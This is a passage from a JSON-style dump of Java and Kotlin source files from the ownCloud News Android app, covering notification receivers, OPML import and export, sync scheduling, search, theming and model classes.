dbConn.markAllItemsAsRead();\n            EventBus.getDefault().post(new SyncFinishedEvent());\n\n            int notificationId = intent.getIntExtra(EXTRA_NOTIFICATION_ID, -1);\n            if (notificationId != -1) {\n                NotificationManager nMgr = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);\n                nMgr.cancel(notificationId);\n            }\n        } else {\n            Log.d(TAG, action);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/NotificationActionReceiverDownloadWebPage.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.util.Log;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport de.luhmer.owncloudnewsreader.services.events.StopWebArchiveDownloadEvent;\n\nimport static de.luhmer.owncloudnewsreader.Constants.NOTIFICATION_ACTION_STOP_STRING;\n\npublic class NotificationActionReceiverDownloadWebPage extends BroadcastReceiver {\n    private static final String TAG = NotificationActionReceiver.class.getCanonicalName();\n\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        String action = intent.getAction();\n        if (NOTIFICATION_ACTION_STOP_STRING.equals(action)) {\n            Log.d(TAG, \"NOTIFICATION_ACTION_STOP_STRING\");\n            EventBus.getDefault().post(new StopWebArchiveDownloadEvent());\n        } else {\n            Log.d(TAG, action);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/OpmlXmlParser.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.util.Log;\nimport android.util.Xml;\n\nimport org.xmlpull.v1.XmlPullParser;\nimport org.xmlpull.v1.XmlPullParserException;\nimport org.xmlpull.v1.XmlSerializer;\n\nimport java.io.IOException;\nimport java.io.StringWriter;\nimport java.util.HashMap;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\n\n/**\n * Created by David on 14.01.2016.\n */\npublic class OpmlXmlParser {\n\n    private static final String TAG = OpmlXmlParser.class.getCanonicalName();\n\n    //Create XML\n    public static String GenerateOPML(Context context) {\n        XmlSerializer serializer = Xml.newSerializer();\n        StringWriter writer = new StringWriter();\n        try {\n            serializer.setOutput(writer);\n            serializer.startDocument(\"UTF-8\", true);\n            serializer.startTag(\"\", \"opml\");\n            serializer.attribute(\"\", \"version\", \"2.0\");\n\n            serializer.startTag(\"\", \"head\");\n            serializer.startTag(\"\", \"title\");\n            serializer.text(\"Subscriptions\");\n            serializer.endTag(\"\", \"title\");\n            serializer.endTag(\"\", \"head\");\n\n            serializer.startTag(\"\", \"body\");\n\n\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n            List<Folder> folderList = dbConn.getListOfFolders();\n            List<Feed> feedList = dbConn.getListOfFeeds();\n\n            //Process all feeds in folders\n            for(Folder folder : folderList) {\n                serializer.startTag(\"\", \"outline\");\n                serializer.attribute(\"\", \"title\", folder.getLabel());\n                serializer.attribute(\"\", \"text\", folder.getLabel());\n\n                for(Feed feed : folder.getFeedList()) {\n                    feedList.remove(feed);//Remove feed from feedlist (So only feeds without folders will remain)\n                    GenerateXMLForFeed(serializer, feed);\n                }\n                serializer.endTag(\"\", \"outline\");\n            }\n\n            //All feeds without folder\n            for(Feed feed : feedList) {\n                GenerateXMLForFeed(serializer, feed);\n            }\n\n            serializer.endTag(\"\", \"body\");\n            serializer.endTag(\"\", \"opml\");\n            serializer.endDocument();\n\n            Log.d(TAG, writer.toString());\n\n            return writer.toString();\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    private static void GenerateXMLForFeed(XmlSerializer serializer, Feed feed) throws IOException {\n        serializer.startTag(\"\", \"outline\");\n        serializer.attribute(\"\", \"title\", feed.getFeedTitle());\n        serializer.attribute(\"\", \"text\", feed.getFeedTitle());\n        serializer.attribute(\"\", \"type\", \"rss\");\n        serializer.attribute(\"\", \"xmlUrl\", feed.getLink());\n        //serializer.attribute(\"\", \"htmlUrl\", key);\n        serializer.endTag(\"\", \"outline\");\n    }\n\n\n    //Parse XML\n\n    // We don't use namespaces\n    private static final String ns = null;\n    public static HashMap<String, String> ReadFeed(XmlPullParser parser) throws XmlPullParserException, IOException {\n        HashMap<String, String> extractedUrls = new HashMap<>();\n\n        parser.require(XmlPullParser.START_TAG, ns, \"opml\");\n        while (parser.next() != XmlPullParser.END_TAG) {\n            if (parser.getEventType() != XmlPullParser.START_TAG) {\n                continue;\n            }\n            String name = parser.getName();\n            // Starts by looking for the entry tag\n            if (name.equals(\"body\")) {\n                extractedUrls.putAll(readFolder(parser));\n            } else {\n                Skip(parser);\n            }\n        }\n        return extractedUrls;\n    }\n\n    private static class Entry {\n        public Entry(String folderName, String feedUrl) {\n            this.feedUrl = feedUrl;\n            this.folderName = folderName;\n        }\n\n        public String folderName;\n        public String feedUrl;\n    }\n\n\n    private static HashMap<String, String> readFolder(XmlPullParser parser) throws XmlPullParserException, IOException {\n        HashMap<String, String> extractedUrls = new HashMap<>();\n\n        String name;\n        String folderName = null;\n\n        parser.require(XmlPullParser.START_TAG, ns, \"body\");\n\n        while(parser.next() >= 0) { //Loop over all\n            if(parser.getEventType() == XmlPullParser.END_TAG) { //If read endtag and folder Name is != null\n                if(folderName == null) { //If end tag is read and we aren't exiting a folder --> exit!\n                    break;\n                }\n                folderName = null;\n            }\n            if (parser.getEventType() != XmlPullParser.START_TAG) {\n                continue;\n            }\n            name = parser.getName();\n            if (name.equals(\"outline\")) {\n                Entry entry = ReadOutline(parser);\n                if (entry.folderName != null) {\n                    folderName = entry.folderName;\n                } else {\n                    entry.folderName = folderName;\n                    extractedUrls.put(entry.feedUrl, entry.folderName);\n                    parser.next(); //Read closing tag\n                }\n            }\n        }\n\n        return extractedUrls;\n    }\n\n    // Parses the contents of an entry. If it encounters a title, summary, or link tag, hands them off\n    // to their respective \"read\" methods for processing. Otherwise, skips the tag.\n    private static Entry ReadOutline(XmlPullParser parser) {\n        //parser.require(XmlPullParser.START_TAG, ns, \"outline\");\n\n        String link = parser.getAttributeValue(null, \"xmlUrl\");\n        String title = null;\n        if(link == null) { //Parse folder title if no feedUrl is available\n            title = parser.getAttributeValue(null, \"title\");\n        }\n\n        return new Entry(title, link);\n    }\n\n    private static void Skip(XmlPullParser parser) throws XmlPullParserException, IOException {\n        if (parser.getEventType() != XmlPullParser.START_TAG) {\n            throw new IllegalStateException();\n        }\n        int depth = 1;\n        while (depth != 0) {\n            switch (parser.next()) {\n                case XmlPullParser.END_TAG:\n                    depth--;\n                    break;\n                case XmlPullParser.START_TAG:\n                    depth++;\n                    break;\n            }\n        }\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/PostDelayHandler.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Handler;\nimport android.util.Log;\n\nimport de.luhmer.owncloudnewsreader.services.SyncItemStateService;\n\npublic class PostDelayHandler {\n\n    private static final String TAG = \"PostDelayHandler\";\n    private static Handler handlerTimer;\n    private final Context context;\n    private static boolean isDelayed = false;\n\n    public PostDelayHandler(Context context) {\n        this.context = context;\n        if(handlerTimer == null) {\n            handlerTimer = new Handler();\n        }\n    }\n\n    public void stopRunningPostDelayHandler() {\n        Log.v(TAG, \"stopRunningPostDelayHandler() called\");\n        handlerTimer.removeCallbacksAndMessages(null);\n        isDelayed = false;\n    }\n\n    public void delayTimer() {\n        // Time to wait until a sync is triggered (after last change in the app)\n        //60 000 = 1min\n        delay(5 * 60000);\n        //delay(10000); // 10 seconds\n    }\n\n    public void delayOnExitTimer() {\n        stopRunningPostDelayHandler();\n\n        // Time to wait until a sync is triggered when the user switches activities / exists the app\n        //delay(10000); // 10 seconds\n        delay(5000); // 5 seconds\n    }\n\n    private void delay(final int time) {\n        Log.v(TAG, \"delay() called with: time = [\" + time + \"]\");\n        if(!isDelayed) {\n            isDelayed = true;\n            handlerTimer.postDelayed(() -> {\n                isDelayed = false;\n                Log.v(TAG, \"Time exceeded.. Sync state of changed items. Delay was: \" + time);\n                if((!SyncItemStateService.isMyServiceRunning(context)) && NetworkConnection.isNetworkAvailable(context))\n                {\n                    Log.v(TAG, \"Starting SyncItemStateService\");\n\n                    SyncItemStateService.enqueueWork(context, new Intent());\n                }\n            }, time);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/Search.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.content.SharedPreferences;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.database.model.RssItemDao;\n\npublic class Search {\n\n    private static final String SEARCH_IN_TITLE = \"0\";\n    private static final String SEARCH_IN_BODY = \"1\";\n    private static final String SEARCH_IN_BOTH = \"2\";\n\n    public static List<RssItem> PerformSearch(Context context, Long idFolder, Long idFeed, String searchString, SharedPreferences mPrefs) {\n        DatabaseConnectionOrm.SORT_DIRECTION sortDirection = DatabaseUtilsKt.getSortDirectionFromSettings(mPrefs);\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n        String sqlSelectStatement = null;\n        if (idFeed != null) {\n            sqlSelectStatement = getFeedSQLStatement(idFeed, sortDirection, searchString, dbConn, mPrefs);\n        } else if (idFolder != null) {\n            sqlSelectStatement = getFolderSQLStatement(idFolder, sortDirection, searchString, dbConn, mPrefs);\n        }\n\n        List<RssItem> items = new ArrayList<>();\n        if (sqlSelectStatement != null) {\n            dbConn.insertIntoRssCurrentViewTable(sqlSelectStatement);\n            items = dbConn.getCurrentRssItemView(0);\n        }\n        return items;\n\n    }\n\n\n\n    private static String getFeedSQLStatement(final long idFeed,\n                                       final DatabaseConnectionOrm.SORT_DIRECTION sortDirection,\n                                       final String searchString,\n                                       final DatabaseConnectionOrm dbConn,\n                                       final SharedPreferences mPrefs) {\n        String sql = \"\";\n        String searchIn = mPrefs.getString(SettingsActivity.SP_SEARCH_IN, SEARCH_IN_BOTH); \n        if(searchIn.equals(SEARCH_IN_TITLE)) {\n            sql = dbConn.getAllItemsIdsForFeedSQLFilteredByTitle(idFeed, false, false, sortDirection, searchString);\n        } else if(searchIn.equals(SEARCH_IN_BODY)) {\n            sql = dbConn.getAllItemsIdsForFeedSQLFilteredByBodySQL(idFeed, false, false, sortDirection, searchString);\n        } else if (searchIn.equals(SEARCH_IN_BOTH)) {\n            sql = dbConn.getAllItemsIdsForFeedSQLFilteredByTitleAndBodySQL(idFeed, false, false, sortDirection, searchString);\n        }\n        return sql;\n    }\n\n    private static String getFolderSQLStatement(final long ID_FOLDER,\n                                         final DatabaseConnectionOrm.SORT_DIRECTION sortDirection,\n                                         final String searchString,\n                                         final DatabaseConnectionOrm dbConn,\n                                         final SharedPreferences mPrefs) {\n        String sql = \"\";\n        String searchIn = mPrefs.getString(SettingsActivity.SP_SEARCH_IN, SEARCH_IN_BOTH);\n        if(searchIn.equals(SEARCH_IN_TITLE)) {\n            sql = dbConn.getAllItemsIdsForFolderSQLSearch(ID_FOLDER, sortDirection, Collections.singletonList(RssItemDao.Properties.Title.columnName), searchString);\n        } else if(searchIn.equals(SEARCH_IN_BODY)) {\n            sql = dbConn.getAllItemsIdsForFolderSQLSearch(ID_FOLDER, sortDirection, Collections.singletonList(RssItemDao.Properties.Body.columnName), searchString);\n        } else if(searchIn.equals(SEARCH_IN_BOTH)) {\n            var columns = Arrays.asList(RssItemDao.Properties.Body.columnName, RssItemDao.Properties.Title.columnName);\n            sql = dbConn.getAllItemsIdsForFolderSQLSearch(ID_FOLDER, sortDirection, columns, searchString);\n        }\n\n        return sql;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/StopWatch.java",
    "content": "/*\nCopyright (c) 2005, Corey Goldberg\n\nStopWatch.java is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nModified: Bilal Rabbani bilalrabbani1@live.com (Nov 2013)\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\npublic class StopWatch {\n    private long startTime = 0;\n    private boolean running = false;\n    private long currentTime = 0;\n\n    public void start() {\n        this.startTime = System.currentTimeMillis();\n        this.running = true;\n    }\n\n    public void stop() {\n        this.running = false;\n    }\n\n    public void pause() {\n        this.running = false;\n        currentTime = System.currentTimeMillis() - startTime;\n    }\n    public void resume() {\n        this.running = true;\n        this.startTime = System.currentTimeMillis() - currentTime;\n    }\n\n    //elaspsed time in milliseconds\n    public long getElapsedTimeMili() {\n        long elapsed = 0;\n        if (running) {\n            elapsed =((System.currentTimeMillis() - startTime)/100) % 1000 ;\n        }\n        return elapsed;\n    }\n\n    //elaspsed time in seconds\n    public long getElapsedTimeSecs() {\n        long elapsed = 0;\n        if (running) {\n            elapsed = ((System.currentTimeMillis() - startTime) / 1000) % 60;\n        }\n        return elapsed;\n    }\n\n    //elaspsed time in minutes\n    public long getElapsedTimeMin() {\n        long elapsed = 0;\n        if (running) {\n            elapsed = (((System.currentTimeMillis() - startTime) / 1000) / 60 ) % 60;\n        }\n        return elapsed;\n    }\n\n    //elaspsed time in hours\n    public long getElapsedTimeHour() {\n        long elapsed = 0;\n        if (running) {\n            elapsed = ((((System.currentTimeMillis() - startTime) / 1000) / 60 ) / 60);\n        }\n        return elapsed;\n    }\n\n    public String toString() {\n        return getElapsedTimeHour() + \":\" + getElapsedTimeMin() + \":\"\n                + getElapsedTimeSecs() + \".\" + getElapsedTimeMili();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ThemeChooser.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.SharedPreferences;\nimport android.content.res.Configuration;\nimport android.os.Build;\nimport android.util.Log;\n\nimport androidx.appcompat.app.AppCompatDelegate;\n\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.SettingsActivity;\n\npublic class ThemeChooser {\n\n    private static final String TAG = ThemeChooser.class.getCanonicalName();\n\n    public enum THEME { LIGHT, DARK, OLED }\n\n\n    // Contains the selected theme defined in the settings (used for checking whether the app needs\n    // to restart after changing the theme\n    private static Integer mSelectedThemeFromPreferences;\n    private static Boolean mOledMode;\n    private static SharedPreferences mPrefs;\n\n    // Contains the current selected theme\n    private static THEME mSelectedTheme = THEME.LIGHT;\n\n    private ThemeChooser() { }\n\n    public static void chooseTheme(Activity act) {\n        int defaultNightMode;\n        switch(getSelectedThemeFromPreferences(false)) {\n            case 0: // Auto (Light / Dark)\n                Log.v(TAG, \"Auto (Light / Dark)\");\n                if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {\n                    //noinspection deprecation\n                    defaultNightMode = AppCompatDelegate.MODE_NIGHT_AUTO_TIME;\n                } else { // Android 10+ (Q) supports a system-wide dark mode\n                    defaultNightMode = AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM;\n                }\n                mSelectedTheme = THEME.LIGHT;\n                break;\n            case 1: // Light Theme\n                Log.v(TAG, \"Light\");\n                defaultNightMode = AppCompatDelegate.MODE_NIGHT_NO;\n                mSelectedTheme = THEME.LIGHT;\n                break;\n            case 2: // Dark Theme\n                Log.v(TAG, \"Dark\");\n                defaultNightMode = AppCompatDelegate.MODE_NIGHT_YES;\n                mSelectedTheme = THEME.DARK;\n                break;\n            default:\n                // This should never happen - just in case.. use the light theme..\n                Log.v(TAG, \"Default\");\n                defaultNightMode = AppCompatDelegate.MODE_NIGHT_AUTO_TIME;\n                mSelectedTheme = THEME.LIGHT;\n                break;\n        }\n        act.setTheme(R.style.AppTheme);\n        AppCompatDelegate.setDefaultNightMode(defaultNightMode);\n    }\n\n    public static void afterOnCreate(Activity act) {\n        //int uiNightMode = Configuration.UI_MODE_NIGHT_NO;\n\n        if(isDarkTheme(act)) {\n            mSelectedTheme = THEME.DARK; // this is required for auto mode at night\n\n            if (isOledMode(false) && isDarkTheme(act)) {\n                act.setTheme(R.style.AppTheme_OLED);\n                Log.v(TAG, \"activate OLED mode\");\n                //uiNightMode = Configuration.UI_MODE_NIGHT_YES;\n                AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_YES);\n\n                mSelectedTheme = THEME.OLED;\n            }\n        }\n\n        /*\n        Configuration newConfig = new Configuration(act.getResources().getConfiguration());\n        newConfig.uiMode &= ~Configuration.UI_MODE_NIGHT_MASK;\n        newConfig.uiMode |= uiNightMode;\n        act.getResources().updateConfiguration(newConfig, null);\n        */\n    }\n\n    /**\n     * Returns true if automatic theme selection is enabled.\n     * Otherwise it'll return false\n     */\n    public static boolean isAutoThemeSelectionEnabled() {\n        int selectedTheme = getSelectedThemeFromPreferences(false);\n        return selectedTheme == 0; // 0 => Auto (Light / Dark)\n    }\n\n    // Check if the currently loaded theme is different from the one set in the settings, or if OLED mode changed\n    public static boolean themeRequiresRestartOfUI() {\n        boolean themeChanged = !mSelectedThemeFromPreferences.equals(getSelectedThemeFromPreferences(true));\n        boolean oledChanged = !mOledMode.equals(isOledMode(true));\n        Log.v(TAG, \"themeChanged: \" + themeChanged + \"; oledChanged: \" + oledChanged);\n        return themeChanged || oledChanged;\n    }\n\n    public static boolean isDarkTheme(Context context) {\n        switch (AppCompatDelegate.getDefaultNightMode()) {\n            case AppCompatDelegate.MODE_NIGHT_YES:\n                Log.v(TAG, \"MODE_NIGHT_YES (Dark Theme)\");\n                return true;\n            case AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM:\n                //noinspection deprecation\n            case AppCompatDelegate.MODE_NIGHT_AUTO:\n                //Log.v(TAG, \"MODE_NIGHT_AUTO\");\n                int nightModeFlags = context.getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK;\n                if (Configuration.UI_MODE_NIGHT_YES == nightModeFlags) {\n                    Log.v(TAG, \"MODE_NIGHT_AUTO (Dark Theme)\");\n                    return true;\n                }\n                Log.v(TAG, \"MODE_NIGHT_AUTO (Light Theme)\");\n                return false;\n            case AppCompatDelegate.MODE_NIGHT_NO:\n                Log.v(TAG, \"MODE_NIGHT_NO (Light Theme)\");\n                return false;\n            default:\n                Log.v(TAG, \"Undefined Night-Mode\");\n                return false;\n        }\n    }\n\n    public static boolean isOledMode(boolean forceReloadCache) {\n        if(mOledMode == null || forceReloadCache) {\n            mOledMode = mPrefs.getBoolean(SettingsActivity.CB_OLED_MODE, false);\n        }\n        return mOledMode;\n    }\n\n    public static THEME getSelectedTheme() {\n        return mSelectedTheme;\n    }\n\n    private static int getSelectedThemeFromPreferences(boolean forceReloadCache) {\n        if(mSelectedThemeFromPreferences == null || forceReloadCache) {\n            mSelectedThemeFromPreferences = Integer.parseInt(mPrefs.getString(SettingsActivity.SP_APP_THEME, \"0\"));\n        }\n        return mSelectedThemeFromPreferences;\n    }\n\n    public static void init(SharedPreferences prefs) {\n        mPrefs = prefs;\n        getSelectedThemeFromPreferences(true); // Init cache\n        isOledMode(true); // Init cache\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ThemeUtils.java",
    "content": "/*\n* Android ownCloud News\n *\n * @author David Luhmer\n * @copyright 2019 David Luhmer david-dev@live.de\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.app.Activity;\nimport android.graphics.ColorFilter;\nimport android.graphics.PorterDuff;\nimport android.graphics.PorterDuffColorFilter;\nimport android.graphics.drawable.Drawable;\nimport android.os.Build;\nimport android.view.Menu;\nimport android.view.View;\nimport android.view.Window;\nimport android.view.WindowManager;\nimport android.widget.ImageButton;\n\nimport androidx.annotation.ColorInt;\nimport androidx.annotation.RequiresApi;\nimport androidx.appcompat.widget.ActionMenuView;\nimport androidx.appcompat.widget.Toolbar;\n\npublic class ThemeUtils {\n\n    // private static final String TAG = ThemeUtils.class.getCanonicalName();\n\n    private ThemeUtils() {}\n\n    /**\n     * Use this method to colorize the toolbar to the desired target color\n     * @param toolbarView toolbar view being colored\n     * @param toolbarBackgroundColor the target background color\n     */\n    public static void colorizeToolbar(Toolbar toolbarView, @ColorInt int toolbarBackgroundColor) {\n        toolbarView.setBackgroundColor(toolbarBackgroundColor);\n\n        for(int i = 0; i < toolbarView.getChildCount(); i++) {\n            final View v = toolbarView.getChildAt(i);\n\n            v.setBackgroundColor(toolbarBackgroundColor);\n\n            if (v instanceof ActionMenuView) {\n                for (int j = 0; j < ((ActionMenuView) v).getChildCount(); j++) {\n                    v.setBackgroundColor(toolbarBackgroundColor);\n                }\n            }\n        }\n    }\n\n    /**\n     * Use this method to colorize the toolbar to the desired target color\n     *\n     * @param toolbarView            toolbar view being colored\n     * @param toolbarForegroundColor the target background color\n     * @param skipMenuItems          how many menu items should not be colored\n     */\n    public static void colorizeToolbarForeground(Toolbar toolbarView, @ColorInt int toolbarForegroundColor, int skipMenuItems) {\n        toolbarView.setTitleTextColor(toolbarForegroundColor);\n\n        ColorFilter cf = new PorterDuffColorFilter(toolbarForegroundColor, PorterDuff.Mode.SRC_IN);\n        Drawable drawable = toolbarView.getOverflowIcon();\n        if (drawable != null) {\n            drawable.setColorFilter(cf);\n        }\n\n        for (int i = 0; i < toolbarView.getChildCount(); i++) {\n            final View v = toolbarView.getChildAt(i);\n            if (v instanceof ImageButton) {\n                ((ImageButton) v).setColorFilter(cf);\n            } else if (v instanceof ActionMenuView) {\n                Menu menu = ((ActionMenuView) v).getMenu();\n                for (int x = skipMenuItems; x < menu.size(); x++) {\n                    Drawable d = menu.getItem(x).getIcon();\n                    if (d != null) {\n                        d.setColorFilter(cf);\n                    }\n                }\n            }\n            /*\n            else {\n                Log.d(TAG, v.toString());\n            }\n            */\n        }\n    }\n\n    /**\n     * Use this method to colorize the status bar to the desired target color\n     *\n     * @param activity\n     * @param statusBarColor\n     */\n    @RequiresApi(api = Build.VERSION_CODES.KITKAT)\n    public static void changeStatusBarColor(Activity activity, @ColorInt int statusBarColor) {\n        Window window = activity.getWindow();\n        // clear FLAG_TRANSLUCENT_STATUS flag:\n        window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);\n        // add FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS flag to the window\n        window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);\n        window.setStatusBarColor(statusBarColor);\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/URLConnectionReader.kt",
    "content": "@file:JvmName(\"URLConnectionReader\")\n\npackage de.luhmer.owncloudnewsreader.helper\n\nimport java.io.BufferedReader\nimport java.io.IOException\nimport java.io.InputStreamReader\nimport java.net.URL\n\n/**\n * Created by David on 13.01.2016.\n */\n@Throws(IOException::class)\nfun getText(url: String?): String {\n    val website = URL(url)\n    val connection = website.openConnection()\n\n    val response = StringBuilder()\n    BufferedReader(InputStreamReader(connection.getInputStream())).use { inReader ->\n        {\n            var inputLine: String?\n            while (inReader.readLine().also { inputLine = it } != null) response.append(inputLine)\n        }\n    }\n    return response.toString()\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/interfaces/ExpListTextClicked.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.interfaces;\n\npublic interface ExpListTextClicked {\n\tvoid onTextClicked(long idFeed, boolean isFolder, Long optional_folder_id);\n\tvoid onTextLongClicked(long idFeed, boolean isFolder, Long optional_folder_id);\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/interfaces/IPlayPausePodcastClicked.java",
    "content": "package de.luhmer.owncloudnewsreader.interfaces;\n\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\npublic interface IPlayPausePodcastClicked {\n    void openPodcast(RssItem rssItem);\n    void pausePodcast();\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/AbstractItem.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.model;\n\npublic abstract class AbstractItem {\n    public long id_database;\n    public String header;\n    public Long idFolder;\n\n    AbstractItem(long id_database, String header, Long idFolder) {\n        this.id_database = id_database;\n        this.header = header;\n        this.idFolder = idFolder;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/ConcreteFeedItem.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.model;\n\npublic class ConcreteFeedItem extends AbstractItem {\n\n\tpublic long feedId;\n    public String favIcon;\n\n\tpublic ConcreteFeedItem(String header, Long folder_id, long feedId, String favIcon, long id_database/*, String parent_title*/) {\n\n        super(id_database, header, folder_id);\n\n\t\tthis.feedId = feedId;\n        this.favIcon = favIcon;\n        this.id_database = id_database;\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/CurrentRssViewDataHolder.java",
    "content": "package de.luhmer.owncloudnewsreader.model;\n\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\n\npublic class CurrentRssViewDataHolder {\n    public Long maxCount;\n    public List<RssItem> rssItems;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/model/FolderSubscribtionItem.java",
